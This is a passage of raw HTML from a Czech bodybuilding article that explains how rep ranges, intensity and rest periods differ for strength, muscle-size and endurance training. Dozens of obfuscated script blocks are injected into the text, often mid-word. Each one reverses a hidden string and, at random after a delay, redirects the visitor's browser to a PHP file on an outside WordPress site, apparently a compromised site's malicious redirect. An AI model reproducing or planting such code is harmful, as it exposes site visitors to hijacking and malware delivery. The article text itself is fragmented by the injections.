na stimul schopn\u00e1 rychleji a v\u00fdrazn\u011bji r\u016fst. Sou\u010dasn\u011b plat\u00ed, \u017ee se rychle vy\u010derpaj\u00ed, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nejste schopni s\u00a0hodn\u011b vysokou v\u00e1hou prov\u00e9st v\u00edce opakov\u00e1n\u00ed.<\/p>\n<p>Jestli\u017ee tr\u00e9nujete s\u00a0c\u00edlem budovat s\u00edlu, nebudete se zam\u011b\u0159ovat na jednotliv\u00e9 svalov\u00e9 partie jako kulturist\u00e9. P\u016fjde v\u00e1m sp\u00ed\u0161e o z\u00e1kladn\u00ed cviky dopln\u011bn\u00e9 t\u011bmi, kter\u00e9 napom\u00e1haj\u00ed zv\u00fd\u0161it celkovou s\u00edlu. Intenzita takov\u00e9ho tr\u00e9ninku je velice vysok\u00e1 (intenzitu cvi\u010den\u00ed definujeme jako pou\u017e\u00edvanou v\u00e1hu d\u011bleno maximem pro jedno opakov\u00e1n\u00ed, vyjad\u0159uje se v\u00a0procentech), zat\u00edmco celkov\u00fd objem (po\u010det s\u00e9ri\u00ed n\u00e1soben\u00fd z\u00e1t\u011b\u017e\u00ed) n\u00edzk\u00fd. Odpo\u010dinkov\u00e9 pauzy mezi s\u00e9riemi jsou u z\u00e1kladn\u00edch cvik\u016f pom\u011brn\u011b dlouh\u00e9 \u2013 t\u0159i a\u017e p\u011bt minut, abyste m\u011bli mo\u017enost dostate\u010dn\u00e9 regenerace sval\u016f i nervov\u00e9ho syst\u00e9mu. Silov\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci nedosahuj\u00ed \u00fapln\u00e9ho vy\u010derp\u00e1n\u00ed sval\u016f, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to je technika typick\u00e1 pro kulturisty.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>KDY\u017d JSOU VE H\u0158E OBJEMY<\/strong><\/p>\n<p>Silov\u00fd tr\u00e9nink vede i k\u00a0n\u00e1r\u016fstu svalov\u00e9 hmoty, ale jeho me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tody neslou\u017e\u00ed k\u00a0maxim\u00e1ln\u00edmu mo\u017en\u00e9mu budov\u00e1n\u00ed objem\u016f. To vy\u017eaduje trochu jin\u00fd p\u0159\u00edstup. Mus\u00edte zvolit v\u00e1hu, se kterou zvl\u00e1dnete 6-12 opakov\u00e1n\u00ed. Jestli\u017ee odcvi\u010d\u00edte jen \u010dty\u0159i, je z\u00e1t\u011b\u017e p\u0159\u00edli\u0161 vysok\u00e1, kdy\u017e v\u00edce ne\u017e 12, mus\u00edte p\u0159idat.<\/p>\n<p>Nav\u00edc plat\u00ed, \u017ee cheatingov\u00e1 (tzn. ne striktn\u00ed) opakov\u00e1n\u00ed se nepo\u010d\u00edtaj\u00ed. Kdy\u017e si p\u0159i bicepsov\u00e9m zdvihu mus\u00edte pom\u00e1hat z\u00e1klonem, nebo odr\u00e1\u017e\u00edte ty\u010d p\u0159i bench pressu od hrudn\u00edku, pom\u00e1h\u00e1te si jin\u00fdmi svaly, p\u0159\u00edpadn\u011b vyu\u017e\u00edv\u00e1te hybn\u00e9 s\u00edly. A takov\u00fd postup m\u016f\u017ee budov\u00e1n\u00ed hmoty dokonce i naru\u0161it, pokud nem\u00e1te cheating pod kontrolou. Z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u016fvodu d\u00e1v\u00e1 smysl nau\u010dit se korektn\u00edmu proveden\u00ed cvik\u016f a v\u0161echny pohyby si dob\u0159e za\u017e\u00edt, aby se pro v\u00e1s staly samoz\u0159ejmost\u00ed. Cesta k\u00a0maxim\u00e1ln\u00edm svalov\u00fdm objem\u016fm je o volb\u011b z\u00e1t\u011b\u017ee, se kterou zvl\u00e1dnete 6-12 striktn\u00edch opakov\u00e1n\u00ed. Pokud jich bez cheatingu provedete v\u00edc, v\u00e1hu zvy\u0161te.<\/p>\n<p>I ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to typ tr\u00e9ninku aktivuje hlavn\u011b rychl\u00e1 svalov\u00e1 vl\u00e1kna, v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom jsou si se silov\u00fdm tr\u00e9ninkem podobn\u00e9. Nicm\u00e9n\u011b objemov\u00fd tr\u00e9nink b\u00fdv\u00e1 tzv. d\u011blen\u00fd \u2013 procvi\u010dujete v\u017edy jen n\u011bkter\u00e9 svalov\u00e9 partie, a vyu\u017e\u00edv\u00e1te p\u0159i n\u011bm i sekund\u00e1rn\u00ed cviky \u2013 tedy takov\u00e9, kter\u00e9 svaly zat\u00ed\u017e\u00ed z\u00a0v\u00edce \u00fahl\u016f a maximalizuj\u00ed jeho rozvoj. Intenzita takov\u00e9ho cvi\u010den\u00ed je ni\u017e\u0161\u00ed ne\u017e p\u0159i silov\u00e9m tr\u00e9ninku, co\u017e umo\u017en\u00ed vy\u0161\u0161\u00ed objem (v\u00edce odcvi\u010den\u00fdch s\u00e9ri\u00ed). Odpo\u010dinkov\u00e9 pauzy se pohybuj\u00ed mezi 60-90 sekundami. Dal\u0161\u00ed s\u00e9rii t\u00edm p\u00e1dem neza\u010d\u00edn\u00e1te zcela odpo\u010dinut\u00ed, ale ur\u010dit\u00fd stupe\u0148 \u00fanavy p\u0159etrv\u00e1v\u00e1.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>ZAM\u011a\u0158ENO NA VYTRVALOST<\/strong><\/p>\n<p>Ne ka\u017ed\u00fd chce b\u00fdt mohutn\u00fd a siln\u00fd. Jsou i spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, kter\u00fdm jde zejm\u00e9na o funk\u010dnost sval\u016f, o jejich schopnost pod\u00e1vat dlouhodob\u00fd v\u00fdkon \u2013 t\u0159eba ub\u011bhnout marat\u00f3n. Takov\u00ed lid\u00e9 cvi\u010d\u00ed s\u00a0ni\u017e\u0161\u00ed intenzi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou (relativn\u011b lehkou v\u00e1hou) a aktivuj\u00ed p\u0159ev\u00e1\u017en\u011b pomal\u00e1 svalov\u00e1 vl\u00e1kna. Jejich c\u00edlem je nav\u00fd\u0161en\u00ed aerobn\u00ed kapacity zv\u00fd\u0161en\u00edm po\u010dtu mi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tochondri\u00ed v\u00a0bu\u0148k\u00e1ch a n\u00e1r\u016fstem mno\u017estv\u00ed krevn\u00edch kapil\u00e1r. Nejde tedy o s\u00edlu ani objem. Ti<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci jsou pak schopni pod\u00e1vat dlouhodob\u00e9 v\u00fdkony, ani\u017e by u nich do\u0161lo k\u00a0vy\u010derp\u00e1n\u00ed. Cvi\u010den\u00ed o n\u00edzk\u00e9 intenzit\u011b vyu\u017e\u00edv\u00e1 jin\u00e9 energetick\u00e9 cesty (aerobn\u00ed vs. anaerobn\u00ed aktivity).<\/p>\n<p>Ve fitku <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to znamen\u00e1, \u017ee si zvol\u00edte pom\u011brn\u011b lehkou z\u00e1t\u011b\u017e, se kterou provedete 15-20 opakov\u00e1n\u00ed, p\u0159\u00edpadn\u011b i v\u00edce. Takov\u00fd cvi\u010debn\u00ed stimul buduje jen velmi mal\u00e9 mno\u017estv\u00ed hmoty i s\u00edly, rychl\u00e1 svalov\u00e1 vl\u00e1kna <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e nejsou nijak zvl\u00e1\u0161\u0165 aktivov\u00e1na.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>JAK UR\u010cIT KONKR\u00c9TN\u00cd Z\u00c1T\u011a\u017d<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-500 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/\u010dinky-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/\u010dinky-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/\u010dinky-768x1150.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/\u010dinky-684x1024.jpg 684w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/\u010dinky.jpg 800w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/strong><\/p>\n<p>V\u00e1\u0161 c\u00edl jasn\u011b ur\u010duje, kolik m\u00e1te prov\u00e9st opakov\u00e1n\u00ed a z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 